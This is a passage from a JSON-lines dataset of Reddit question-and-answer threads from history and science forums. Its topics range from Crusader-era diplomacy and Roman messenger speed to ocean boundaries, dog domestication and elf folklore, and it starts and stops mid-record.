Crusades, they probably knew about the differences and enmities.\n\nDuring the siege of Antioch, a delegation was sent by the Fatimids to the crusaders to propose an alliance against the Seljukids.\n\nGuillaume de Tyr writes (rough translation, I read it in French) \"For very long, there had been a grave hostility between the Easterners and the Egyptians: this ingrained hatred stemmed from the difference of their superstitions and their contradictory dogmas.\"\n\nAlbert d'Aix writes about the meeting and indicates that Fatimids and Turks are foes but without theological precisions. Raymond d'Aguilers only mentions the embassy.\n\nSources : \n\n* William of Tyre, A History of Deeds Done Beyond the Sea\n* Albert of Aachen, Historia Ierosolimitana\n* Raymond d'Aguilers, Historia Francorum qui ceperunt Iherusalem", "Islam was essentially portrayed to the Crusaders as one monolithic bloc, at least in the buildup to the First Crusade in the 1090s. The political divisions within the Muslim world did happen to make the timing of the First Crusade very fortuitous - but this was almost certainly not intentional.\n\nHowever, upon arriving in Asia Minor and the Levant, the Crusaders learned a great deal about these political divisions, both from the Byzantines and from the local Armenian Christians. The Fatimids, who were in control of Jerusalem at the time, had essentially no stake in the success of the Seljuq Turks, who were the first Muslim regime that the Crusaders encountered. As such, there was diplomatic contact between the Fatimids and the Crusaders. After the Crusaders took Nicaea and Antioch, in particular, the Fatimids still hoped to contain them within Asia Minor. At this point the Crusaders had mainly been retaking Byzantine territory that had been seized by the Seljuqs, and the Fatimids hoped that this would be sufficient for them.\n\nThe Crusaders did show willingness to make agreements with particular Muslim regimes when it suited them, so they were clearly able and willing to conceptualize Islam not only in religious terms but in political ones as well, but needless to say, as Jerusalem was the ultimate goal of the Crusade, no actual peace could be achieved between them and the Fatimids.\n\nI'm not a historian, so I'm just summarizing what I've learned from *The Crusades* by Thomas Asbridge.", "I think there's a fundamental problem with this question since Jews, Christians, and Muslims were living side by side and engaging in philosophical debates from the founding of Islam through the medieval period. Participants in this debate would be extremely well informed of highly minute differences. Christendom was not monolithic and the experiences of a Christian in Andalusia, Denmark, and Byzantium would have been drastically different. Jewish and Christian scholars were reading texts, either in Syriac (form of Aramaic) or Persian, Arabic or in even further translation into Latin or Hebrew. Scholars would have been reasonably well versed in major themes of Muslim philosophy and theology although this would be more familiar to them as academic debates. \n\nIslam wasn't just fractured on theological lines, as different empires overthrew each other and Islam spread in different directions, philosophical and theological debates grew in different ways, Mu'tazilite thinking was challenged by the Ism\u0101'\u012bl\u012bs, and further challenged by the Ash'arites providing you with much of the basis of the Sunni-Shia intellectual basis you had the philosophy of Avicenna in the East (and the challenges of more radicals like al-Ghaz\u0101l\u012b) and Averroes in the west shaping and refining philosophical and theological debates that took a long time to develop. \n\nThe persian princes would even occasionally try to reinstate Zoroastrianism, and that continued into at least the 10th Century. \n\nBy the time that the Sunni and Shia split was put in more formal political terms it was the 19th Century, and yes, the people who cared were very clear on the differences as European thought leaned heavily on the translation movements of the Islamic world and multifaith coexistence predating the period of radicalization after the first crusade but even then lasting into later periods."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "bijlvn", "title": "why can\u2019t we make food through chemical processes instead for planting huge fields and waiting for it to grow?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bijlvn/eli5_why_cant_we_make_food_through_chemical/", "answers": {"a_id": ["em15bw1", "em17op4", "em1e66m", "em29lkv"], "score": [6, 19, 3, 2], "text": ["And where do the materials for your process come from? It's hard to make something from nothing.", "Crops are much more efficient at creating \u201cfood\u201d from various materials than we are. Wheat transforms sunlight, atmospheric CO2, water, and some trace nutrients from the ground into delicious starches. In essence, it is a solar powered, self-contained, self-replicating food factory.", "Plants have optimized growth with a literal evolutionary algorithm for several hundred million years with the entire Earth as a testing ground. Do not expect us to beat their efficiency anytime soon.", "You mean synthesized food? We do have those, just google \"Synthesized food\". However, the two big reasons we don't do this for everything is:\n\n1) Consumer demand is low. Most people want \"natural\" food, even if the synthetic alternatives are identical.\n\n2) For some food, it's still cheaper to harvest them rather than synthesize them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "19dc13", "title": "Julian the Apostate has just died fighting the Persians. I am a Roman soldier stationed at Hadrian's Wall. When will the news reach me?", "selftext": "As the title says. I'm wondering how long news took to travel across the Roman empire.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19dc13/julian_the_apostate_has_just_died_fighting_the/", "answers": {"a_id": ["c8n04ns", "c8n3cx7", "c8n5754"], "score": [351, 19, 16], "text": ["Julian, obviously being a character of extremely high importance, would warrant a messenger travelling on horse to relay messages the fastest.  It would take 26 days in that situation to get from Singara, in modern Iraq, to Hadrian's wall.\n\n([source](_URL_0_))", "This is a side note, completely tangential, but I hope still worthy of being a topline comment. If the mods disagree, I won't object to it being deleted.\n\n\"Julian the Apostate\" is the most common title for him (in English at least), but a professor of mine that I greatly respect advocated for the epithet \"the Retrograde\" rather than \"the Apostate\" because it's agnostic toward the truth of Christianity, while recognizing its historical importance (akin to the use of CE rather than AD).  It's not in regular use yet, but I thought I'd help spread the idea.", "I remember reading that the Mongol empire had a messaging system of waypoints, where each messenger would pass the baton to the next, who would pass it to the man at the next one. Meaning that the message was always carried by someone fresh, at a decent speed.\n\nI guess the Romans were organised enough to have a similar system? Not just one poor bloke who had to go all the way? I've heard of imperial messengers, but I can't remember the details. . . "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://orbis.stanford.edu/#"], [], []]}
{"q_id": "2r22xv", "title": "Where did meatballs originate? Where they developed multiple times or did they spread out from a single origin? Are Italian and Swedish meatball recipes authentic to those cultures, or are they more modern developments?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2r22xv/where_did_meatballs_originate_where_they/", "answers": {"a_id": ["cnbs7i8"], "score": [37], "text": ["Meatballs show up in cuisines all over the world, from the most ancient written recipes to today. There's no reason to think they had a single origin. They're just too ubiquitous. I mean, form minced meat into a clump and you have a meatball. \n\nThe big question is probably what role the Persian kofta had in popularizing meatballs worldwide. However, considering that Muslim culture never penetrated to quite a few parts of the world which have meatballs in their cuisines (Scandinavia and The Philippines come to mind), I doubt the kofta is the ur-meatball. \n\nAnd, yes, Sweden and Denmark have indigenous meatball traditions going back at least back to the mid 19th century."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2f6wag", "title": "Hiking in the Soviet Union", "selftext": "Say I'm an avid outdoorsman living in Russia and I want to go on a 5 day backpacking hike. What were my options? What kind of permits would I have needed, if any? Was off-trail travel allowed like it is in the US?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2f6wag/hiking_in_the_soviet_union/", "answers": {"a_id": ["ck760fh"], "score": [2], "text": ["In the 30's, \"wild tourism\" of many types became prohibited, but it became legal again in the 60's following the Khrushchev Thaw. Hiking, camping, kayaking, mountaineering, and other outdoor activities became very common in the USSR between the 60's and 80's. In 1966, the literary gazette announced that the word \"savage\" could be used without quotations to refer to wild tourism. In the early 1970's, a survey determined that only 25% of vacationers had permits. In the 60's and 80's, tens of millions of people went on officially unorganized travels, in what was called a recreational boom.\n\nThere were probably some places where you'd require a permit, but for the most part you could go wherever you wanted. Hikers also made their own equipment (my dad used to make crampons for climbing on ice), and there was even [a musical genre](_URL_2_) associated with this type of outdoor activity.\n\n\nSources:\n\n[We Seek That Which Wasn't Lost: The Soviet Savages seeking a place under the sun](_URL_0_) \u2014 a well-researched article about the wild tourism boom (in Russian)\n\n[Activity Outside The State: Self-Organization of journey tourists](_URL_1_) \u2014  an article that deals with the more lengthy trips like the one you're describing (in Russian)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.academia.edu/3219485/_%D0%9C%D1%8B_%D0%B8%D1%89%D0%B5%D0%BC_%D1%82%D0%BE_%D1%87%D0%B5%D0%B3%D0%BE_%D0%BD%D0%B5_%D1%82%D0%B5%D1%80%D1%8F%D0%BB%D0%B8_%D1%81%D0%BE%D0%B2%D0%B5%D1%82%D1%81%D0%BA%D0%B8%D0%B5_%D0%B4%D0%B8%D0%BA%D0%B0%D1%80%D0%B8_%D0%B2_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0%D1%85_%D0%BC%D0%B5%D1%81%D1%82%D0%B0_%D0%BF%D0%BE%D0%B4_%D1%81%D0%BE%D0%BB%D0%BD%D1%86%D0%B5%D0%BC_Ab_Imperio_2_2012_pp._261-298", "http://www.strana-oz.ru/2005/6/dosug-vne-gosudarstva-samoorganizaciya-pohodnyh-turistov", "http://en.wikipedia.org/wiki/Bard_\\(Soviet_Union\\)#Tourist_song"]]}
{"q_id": "2sqyl5", "title": "Is there some type of electromagnetic radiation that can go through the earth?", "selftext": "Like from the US to China. Would this be feasible for communications and would it be faster than bouncing a signal through different satellites? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2sqyl5/is_there_some_type_of_electromagnetic_radiation/", "answers": {"a_id": ["cns1sda"], "score": [26], "text": ["Electromagnetic radiation, no. However, neutrinos pass through the Earth relatively unimpeded, but they are really hard to detect so they're not very useful for communication right now.\n\nThis has been done as a proof-of-concept, where the signal was sent through 240 meters of Earth. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://arxiv.org/pdf/1203.2847v2.pdf"]]}
{"q_id": "3uah2s", "title": "Were the WWII Convoy shipments to Russia purely one way shipments, or were things, or people, ever taken back on the return journey?", "selftext": "I'm looking mostly at the Arctic convoys shipping raw materials and machinery to Russia, but I guess the question also applies to the Persian Corridor. While there are detailed records about what was shipped to Russia, there's no info on anything or anyone ever being taken back. So would the ships make the return journey empty, or were these ever used to evacuate people, or bring back cargo to, say, the UK?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3uah2s/were_the_wwii_convoy_shipments_to_russia_purely/", "answers": {"a_id": ["cxdl3wr"], "score": [20], "text": ["*The Road to Russia: Arctic Convoys 1942* by Bernard Edwards says that most ships returned from Murmansk in ballast, but there were occasions when goods were taken back. The *Empire Starlight* was to be loaded with timber and ore in April 1942, but was heavily bombed and eventually sunk before it could leave the port.\n\n*HMS Edinburgh* was also loaded with cargo in Murmansk in April 1942, though slightly more valuable: five tons of gold, Soviet payment for American supplies. *Edinburgh* was damaged by a U-boat, then hit again by German destroyers, and finally scuttled by *HMS Foresight*; the gold was [salvaged in 1981] (_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.hmsedinburgh.co.uk/salvage.php"]]}
{"q_id": "cfjpc7", "title": "how can nations build an empire when they're population is dwarfed by the those who they wish to conquer?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfjpc7/eli5_how_can_nations_build_an_empire_when_theyre/", "answers": {"a_id": ["euadpzo", "euae6ud", "euagjr9", "euah56n", "euaiq3j", "euaitia", "euakgi1", "euaolga", "euask1p", "euawcu8"], "score": [24, 14, 33, 3, 2, 6, 2, 2, 3, 2], "text": ["Advanced technology and better training allows for smaller militaries to overpower much larger ones. Then, once the power struggle settles, most people will fall in line easily as long as they aren't actively mistreated.", "The British were able to play \"divide and rule\" very well in India, which was and still is a wide collection of different ethnicities and linguistic groups.\n\n_URL_0_\n\nThe railway network they built also made transporting troops to put down any revolts much easier.", "Most people don\u2019t actively resist conquerors. It\u2019s only the armed forces that you need to beat.\n\nWhat\u2019s a mere farmer going to do? Raise a sickle and get shot? Even if they massed up into multiple revolutions they won\u2019t be organised and can be picked apart one by one.", "In history, the most organized ones always one, even if they were outnumbered by unorganized soldiers.\n\nFor example, Russian nobles ruled Russia for centuries even though they were significantly less than Russian folks because they were more organized than people. Then, the Russian revolution comes and overthrows the tsar government because revolutionaries were more organized than the aristocracy. The small group who knows how to cooperate quickly will always win in front of a bigger unorganized group.", "You're looking at the scale of size/population, but a lot more can change how it works; technology, land shape and form, resources, skill of the combatants, size of the combatants etc. for example, 1 skilled fighter can easily take on a few people. What about 1 guy with a sword vs 2? He'll at least kill one of them. You could have an empire that rules half the world, but if your army is only 100 men who haven't been trained, a squad of 20 who have been trained will defeat them.\n\nAs for the keep control part, usually some places aren't directly controlled, and have their own leader who serves the crown. That leader has nearly as much power as the crown in their region, but is still outclassed by the crown.\n\nEdit: Just some examples of how this works in your examples\n\nGermany: Technological advantage, training advantage\n\nRomans: Technological advantage, training advantage, population advantage\n\nSpaniards: Technological advantage", "Most empires throughout history have been rather decentralized powers, in the absence of the swift telecommunications we have today. The central government simply couldn't make all decisions for all areas of their empire, so local affairs weren't really their concern. It wasn't uncommon for the invaders to plant someone the people liked into a local governing position, which made ruling those people easier and the people less suspicious of the new regime.\n\nMoreover, most people simply didn't care all that much. The farmers for example lived their lives on the farm. They didn't have a sense for the greater picture of world affairs and even if they did they probably wouldn't have cared. As far as they're concerned, nothing really changed except who they paid their taxes to, because nothing really changed on the plot of land that was their life.", "First, those conquests were mostly made by people who had technological superiority.  Or, in the case of the Spanish, plagues that killed their enemies.\n\nSecond, conquering a territory does not mean physically occupying every single piece of land.  Back then, the vast majority of peasants would never meet their rulers and had no reason to.  Why does a farmer care if power changed hands in a national capitol hundreds of miles away?  \n\n The British in India, for example, never actually invaded India.  They set themselves up as trading partners and allies until India\u2019s industry and economy was dependent on British trade.  They allied themselves with Indian rulers until their help became indispensable.  They assumed government functions (like tax collection) until they were the de facto government....  And then they became the literal government.\n\nGenerally speaking, a country can be quite large but only a few places are of military or political significance.  You conquer the ports, the capitol, and the industries.  The random farms here and there don\u2019t actually matter.", "If a conquering nation can bring peace, and prosperity, along with technological and cultural \"advancement\" then most locals will fall in line after a generation or so. \n\nFirst off, the subjugation of local tribal warfare leads to less death, destruction and so a much greater level of personal safety; this increases local productivity of agriculture and crafts/trades, leading to greater prosperity. Empires also bring greatly improved transport links - Roman roads, British shipping and railway systems - that open up new markets for local goods, and also bring exotic produce and higher quality/novel and exciting wares from other parts of that Empire. \n\nBefore you know it you're living in a good home, you are raising your children in peace and comfort (who will go on to have a higher standard of living than you), your wife won't be dragged off by some local tinpot warlord at the drop of a hat, you no longer face the grim fate of starving to death every Winter, and even have some fancy chattels and tchotchkes around the place of which previous generations could never dream. You will outlive your parents by several decades, and culturally this will become \"the norm\". Modern concepts of \"country\" and \"patriotism/nationalism\" don't really come into play; you may hate the change and harbor resentment towards your new overlords, but you will grudgingly accept the changes and improvements because what else can you do? \n\nCultural imposition like this only really requires a strong invasion force at the outset, and a small localised standing army/police force for administration thereafter. Vassal states and kingdoms can pretty much run themselves once this model is in place, and all the Empire does is skim off the top in the way of taxes (or maybe the odd trainload of loot).", "I am going to give example of  Subcontinent(India Bangladesh Pakistan) here.Majority of it was ruled by Mughals.Their decline led to local Rajas/Kings having more autonomy and most of the the time their own armies.This divided Subcontinent even more(Hindu ruler on Muslim majority population and Vice-versa).So using divide and rule was really easy.If a raja resisted they would simply bribe his general that if they win they would replace Raja with him.Technology played a role.But where local armies could have resisted defectors destroyed supplies ,added water to gun powder, stationed best corps to guard cattle.All of this happened because of ethinic divisions and infighting over everything.For more learning read about Robert Clive,Tipu sultan ,East India company", "Because the other nations gain an advantage out of being part of the empire. If you were part of the Roman empire, you had many benefits, like being protected by legions, trade deals and advanced technology such as roads, waterworks, sewers and such. The price to pay wasn't too high since conquered nations were free to keep most of their customs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.anuragbhatnagar.com/history/divide-and-rule-in-british-raj"], [], [], [], [], [], [], [], []]}
{"q_id": "7v9k1h", "title": "What was the earliest known relationship between early humans and wolves/dogs, and what did they both stand to gain from the relationship?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7v9k1h/what_was_the_earliest_known_relationship_between/", "answers": {"a_id": ["dtrey1h", "dtrixtp"], "score": [13, 7], "text": ["I\u2019m not gonna do the fact-finding for you, but it was at least 10,000 years ago.\n\nThe branching of wolves and dogs started with some wolves that weren\u2019t as scared of humans as the other ones were. \n\nThe brave ones lived closer to humans. They ate human garbage (bones and food scraps). They began to associate humans with easy food.\n\nHumans who weren\u2019t scared of the wolves tolerated them hanging around because they didn\u2019t bother them. They cleaned up their messes, and kept other, meaner predators away. \n\nOver time these benefits became more and more pronounced and humans actively fed wolves in order to keep them around as protectors. Then companions. And hunting partners. And utility animals. \n\nThe friendlier and more cooperative wolves got more special treatment, and over generations they were bred into primitive dogs. Once the dog-human Bond was well established, selective breeding to achieve certain results began, and the oldest breeds were born. ", "The earliest known relationship is disputed. We don't have scientific consensus on when a canid stopped being a wolf and started being a dog leading to disputes about the dating the start of the dog human relationship. There is consensus that dogs as we understand them now were present with humans at the earliest known sites of habitation in the new world, so at minimum 14-15,000 years ago. There are also theories that canid domestication happened in starts and stops in multiple locations in Europe and in some parts of Asia prior to migration to the new world. I personally subscribe to the theory that humans had begun the process of domestication prior to the last glacial maximum, around 35,000 years ago. There is evidence dating to this time of ceremonial burial of canids which speaks to a deeper relationship than just humans and wild dogs. There is also isotopic evidence from canid remains found in and/or near caves with human habitation at that time support that the dog like animals living there were eating the same things the humans were hunting. Interestingly, the isotopic evidence also supports that those dogs were restrained as they had isotopes from limited food sources. I believe this supports early or mid stage domestication as why would a wild wolf be restrained near a human settlement and fed if not because it has some relationship to humans. I am not sure if I believe these specific episodes of domestication lead to current dogs or if that came later but your question asked about the earliest known relationship. \n\nAs far as benefits, that's tougher to answer. Many non scientists like to imply that canids likely domesticated themselves for the benefit of food but as the above isotope example supports, if canids were restrained near or around caves where humans were living they may not have been such active partners in their domestication as we like to make out. For the human benefits there is later evidence of dogs bites on large fauna remains at human settlements so it is likely that we were using canids as hunting partners. There are some researchers that have suggested that canids may have been the thing that allowed homo sapien sapiens to out compete neanderthals in Europe. \n\nHope that answers some of your question! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2yfir4", "title": "how can we tell the oceans apart?", "selftext": "I know this seems really strange, but basically since they all eventually touch, like the Atlantic touching the Pacific, the Atlantic touching the Indian Ocean, the Atlantic touching the Arctic Ocean, the Indian Ocean touching the Pacific... what makes them individual bodies of water instead of one mega-ocean? \n\nI know they have a variance of temperatures, under water ecosystems/animals, but is this the only thing stopping them from being a mega-ocean?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yfir4/eli5_how_can_we_tell_the_oceans_apart/", "answers": {"a_id": ["cp90h7x", "cp90via", "cp9auo2", "cp9iv0q", "cp9t92w"], "score": [89, 38, 3, 5, 2], "text": ["They ARE a single mega-ocean. You have to remember: humans only name and classify things in order to make things convenient for ourselves. There's literally no such thing as \"the Atlantic Ocean,\" as a discrete, specific body of water. It's all in our heads.\n\nIt helps us to have names for things, so we can refer to them...but the ocean doesn't care, because it's just a bunch of water. You ask \"what makes them individual bodies of water instead of one mega-ocean?\" The answer is: we do. Nothing else. It's just humans being human. The parameters might be specific or vague, but they're really just arbitrary, human conventions.", "How can we tell Europe and Asia apart, given that they touch? We just define a boundary and say \"this side is Europe and that side is Asia\". The same goes for the oceans - we just declare a line somewhere and say \"This side is Ocean X and that side is Ocean Y\".", "Okay, but... can we draw a line on a border between two oceans? Do the oceans have man-given borders? Is there a definitive line or just kind of a general \"this is one ocean, then if you go over here aways it becomes another.\"", "As people have said, they can be considered a single ocean (called the World Ocean) and indeed there is a giant current pattern called [the Great Conveyor Belt](_URL_1_) that connects them. But much of it is underwater, where currents are extremely slow, and it's estimated it takes something like 1,000 years to make a single cycle, at least.\n\nBut we can somewhat differentiate them. Obviously they were probably initially split by demarcating different ocean basins, but as a result of the basin shape, [each ocean tends to also have a unique dominant oceanic gyre](_URL_0_), with ones particularly big enough (Atlantic and Pacific) having two because they split the equator (long story short, Coriolis tends not to let a gyre pattern cross the equator).\n\nThere are two exceptions, one at each pole. The Southern Ocean is that bottom Antarctic Circumpolar current. It looks like a straight line in the above map, but if you can imagine looking at a globe direct at Antarctica, that current would circle around it in a gyre-like shape. Of course, it's not really a gyre because it has a huge landmass in the middle of it. Thus why whether this is really an ocean is up to some debate, and generally its not considered its own ocean.\n\nThe other is the Arctic Ocean, but arguably it [doesn't really have a dominant gyre](_URL_2_). The most obvious is the Beaufort gyre but generally the currents are all over the place. Still it's a distinct enough basin to be it's own ocean. Though in some cases it is considered an extension of the Atlantic.\n\nAnd as a final note, the ocean is rarely as pretty and organized as these graphs make them seem. In reality, currents are extremely chaotic, these are just generalizations, which when averaged over time, are true, but don't think the currents are as well defined as depicted. Thus, along with other reasons, ocean borders to other oceans are ill-defined and vary depending on the organization asked. Ultimately how many oceans there are will vary on who you ask and the semantics they define them by.", "Yes the borders between the oceans are drawn arbitrarily by humans. The borders between the countries are just as arbitrary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://recyclingisland.com/kickstarter/img/maps/ocean-currents.jpg", "http://theresilientearth.com/files/images/Great_Ocean_Conveyor-ipcc.jpg", "http://beyondpenguins.ehe.osu.edu/files/2011/07/web_arctic_currents.jpg"], []]}
{"q_id": "1xsvnl", "title": "Why did Mao have his people kill droves of birds?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1xsvnl/why_did_mao_have_his_people_kill_droves_of_birds/", "answers": {"a_id": ["cfebrt4"], "score": [756], "text": ["This was part of the Four Pests Campaign, that targeted what Mao considered to be ecological and agricultural pests: rats, mosquitos, flies, and sparrows. \n\nIt is one of those things that superficially might make sense to someone. Sparrows, like rats, eat grain. So every grain that is eaten by a sparrow is grain that cannot be eaten by a person. So kill all the sparrows, you get more grain, right? (And hey, who wouldn't like to get rid of mosquitos? I mean, other than spiders and malaria protozoans.)\n\nThe problem is, of course, that ecologically this sort of thing has all sorts of unintended side-effects. Sparrows eat more than grain \u2014 they also eat lots of insects, insects that themselves eat crops. So instead of decreasing crop pests, they unintentionally increased them. (This is Ecology 101, and was not a new idea at the time of the Four Pests Campaign. Studies of the mutual interdependence of animal populations were already quite common by the 1930s.)\n\nThis is the sort of \"big idea by fiat\" that Mao became famous for. (Stalin did a few similar things as well, but generally were a little less half-cocked looking. Collectivization didn't work, and that led to a lot of famines that killed a lot of people, but it's not in the \"melt all of your iron in your backyard to make steel\" category of stupid.) It is one of the major issues with the cult of personality that were created during the Mao period. Mao considered himself a \"Renaissance man\" capable of weighing in on lots of complicated philosophical and scientific subjects, and had the power to put even pretty bad ideas into practice. Questioning the ideas was a good way to get arrested or worse. \n\nThis seems particularly endemic to early Communist regimes. Politicized Marxism more or less states that people who have mastered Marxist philosophy are basically the ultimate experts in the world \u2014 they understand the \"science of history\" and thus know how everything fits together. (Lenin and Stalin felt similarly.) It had a number of spectacular failures along these lines, both in the People's Republic of China and in the Soviet Union. The later leaders in both countries took more cautious approaches, relied more on the advice of experts before making sweeping pronouncements of this sort."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5f65at", "title": "Did Queen Elizabeth and Prince Philip really have such a rocky marriage in the early years of her reign?", "selftext": "I just finished watching The Crown on Netflix and was wondering whether there is actually any evidence that Philip was so disdainful of Elizabeth. The show also alluded to Prince Phillip potentially having had an affair. I read online that there were rumours of his infidelity at the time, but I'm wondering what they might have been based and whether there might be any truth to them. Any information anyone has would be much appreciated. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5f65at/did_queen_elizabeth_and_prince_philip_really_have/", "answers": {"a_id": ["daib09t", "daieatt", "daig21q"], "score": [182, 17, 2], "text": ["While there have been rumors of Philip having affairs for years, there has never been any concrete proof. Sarah Bradford, who wrote Elizabeth II: Her Life in Our Times (2011) is the only biographer who claims to have confirmed affairs. Yet a rival biographer, Gyles Brandreth (Philip  &  Elizabeth: Portrait of a Marriage) investigated Bradford's claims and was unable to get confirmation. The women Bradford linked to Philip - Katie Boyle, Sacha Abercorn, and Penny Brabourne - all denied to Brandreth ever having slept with Phillip, though they did confess friendships and flirtations with him.  \n\nBradford also repeated the widespread allegations that Pat Kirkwood, a British actress, had a long-term affair with Philip, though Kirkwood denied it on many occasions. She did, however, receive letters from Philip, which she bequeathed be given to Philip's official biographer and only published after both their deaths (Kirkwood died in 2007). \n\nThe only time the Queen ever publicly commented on the speculation was in 1957. In 1956 Philip went to sea on the HMS Britannia and was still there when, in early 1957, the Baltimore Sun alleged Philip was having an affair with an unnamed woman he'd met through a photographer friend. The allegations caused enough of an uproar in the press both in the U.S. and in the U.K. that the Queen's office released the statement: \"It is quite untrue that there is any rift between the queen and the Duke.\u201d The Queen then traveled to Portugal to publicly reunite with Philip, which squashed the rumors for the time being.\n\nSo until a woman comes forward with a public confirmation of an affair with Philip, the rumors of him being unfaithful remain only allegations. \n\n", "It is well known that the two have a good relationship now. How did his opinion of her change?", "As a follow-up, Was there rumor of Philip being gay? The Crown is really making it seem that way with his portrayal\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "21se6n", "title": "what would happen if the white house was bombed and every important politician was killed?", "selftext": "Would America be wide open for invasion then?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21se6n/eli5_what_would_happen_if_the_white_house_was/", "answers": {"a_id": ["cgg1tkd", "cgg1tn3", "cgg233t"], "score": [5, 2, 2], "text": ["Not going to happen -- even during the State of the Union, at least one member of the government who's in line for the Presidency isn't there.\n\nAnd most of the government operates in a distributed way -- especially the military. Kill a military commander, a new one steps in. Kill him, then another one steps in. Kill the top 1000 of them, and you still have another 3M who are ready and able to step up.\n\nNot to mention that many/most Americans own firearms, and wouldn't hesitate to play *Red Dawn* given the opportunity.", "No.  Not even a little.\n\nThe military would still be 100% functional and the rules of ascension would take over very quickly.  Most of the government is an apparatus of people who are _not_ politicians and things would keep on ticking.  Most of government exists outside of the white house.", "There would be lots of unimportant politicians who just became important politicians, and they would take their places in the line of succession."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ldc9r", "title": "why us is sending troops to africa?", "selftext": "I just saw in the news that Obama has ordered 100 troops to Africa but I am confused about why. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ldc9r/eli5_why_us_is_sending_troops_to_africa/", "answers": {"a_id": ["c2rssj6", "c2rssj6"], "score": [2, 2], "text": ["The Lord's Resistance Army is responsible for massacres, mutilations, abductions, sexual enslavement of children and women, and child soldiers. The USA is troops sending these troops because Congress already made a commitment to get rid of the LRA. I think the troops aren't engaging in combat but helping with logistical problems.", "The Lord's Resistance Army is responsible for massacres, mutilations, abductions, sexual enslavement of children and women, and child soldiers. The USA is troops sending these troops because Congress already made a commitment to get rid of the LRA. I think the troops aren't engaging in combat but helping with logistical problems."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1w10f0", "title": "Why didn't elves survive the transatlantic crossing?", "selftext": "Or maybe they did and I've just never encountered the North American version. \n\nJust to be perfectly clear in the questioning as well, I am indeed talking about *mythological creatures* here. I had an interesting opportunity to attend Elf School in Iceland about 4-5 years ago and we spoke for a long time about different traditions regarding elves, but I was unable to think of any North American tales of elves. When beliefs in creatures like the kraken, werewolves (loup-garou) and various lake monsters seem to have crossed (Nessie v Ogopogo for example) and North America has its own native supernatural beliefs (Sasquatch, Windigo), why didn't the elves?\n\nEdit: I know of *American Gods* by Neil Gaiman. Thank you.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1w10f0/why_didnt_elves_survive_the_transatlantic_crossing/", "answers": {"a_id": ["cexp3tf", "cexp728", "cexp8a1", "cexsohl", "cexts4g", "cexuxic", "cey6ysn", "ceyc6r4"], "score": [80, 17, 1414, 41, 33, 17, 4, 10], "text": ["For one thing, elves, trolls and dwarves (it's a pretty fluid distinction between all three) are often tied to specific places, unlike vampires or werewolves. In Danish folklore, for instance, giants/trolls are often tied to particular hills or mounds, especially the burial mounds that are a pretty common feature of the landscape here. Elves in particular were domestic creatures that would terrorize or help the inhabitants of the farms in wich they (the elves) lived, although a relatively common saying in Denmark is 'nissen flytter med', meaning 'the elf moves with you' (IE you take your problems and bad habits with you when you move). As essentially genius loci, the people who believed in elves would not expect them in America, and if there wasn't a corresponding Native American tradition, it would not translate well into an American context, unlike some of the creatures that you mention. ", "I suspect it's because fairies are highly localized \u2014 associated with specific areas.  For instance, in both [Ireland](_URL_0_) and, more recently, [Iceland](_URL_1_) roads have been moved because of elves'/fairies' traditional living places. In Ireland fairies are associated with the pre-Celtic inhabitants of the island that were driven underground. Because they are so highly localized, when the people left those places, they left the fairies.\n\n(Academic) Sources:\n\n*The Fairies in English Tradition and Literature* by Katharine Briggs\n\n*The Fairy-Faith in Celtic Countries* by W.Y. Evans-Wentz", "Two questions here: did they survive (occasionally they did) and why didn't they usually thrive (the degree of survival generally can't be called thriving).\n\nPeter Narvaez, The Good People: New Fairylore Essays (1991) includes an essay dealing with traditional Northern European elf beliefs in Newfoundland. I conducted research on the survival of the Cornish knockers in the American West: Ronald M. James, \u201cKnockers, Knackers, and Ghosts: Immigrant Folklore in the Western Mines,\u201d Western Folklore Quarterly 51:2 (April 1992), and there was a recent account by Bill Haglund in Nevada Journal, Nevada, Iowa - August 29, 2013 about the survival of troll beliefs in central Iowa.\n\nThese are only a few examples of survivals. The trolls in central Iowa can actually be regarding as thriving to a certain degree. I believe we can attribute this to concentrated clusters of immigrant population. The knockers - which became the Western Tommyknocker - is an interesting example of a European elf belief not only crossing the Atlantic and thriving but also diffusing among non-Cornish population. I collected a sighting of a Tommyknocker that occurred as late as 1952 in Golconda, Nevada from a Portuguese-American. The tradition survived in part because the Cornish were so well respected as miners 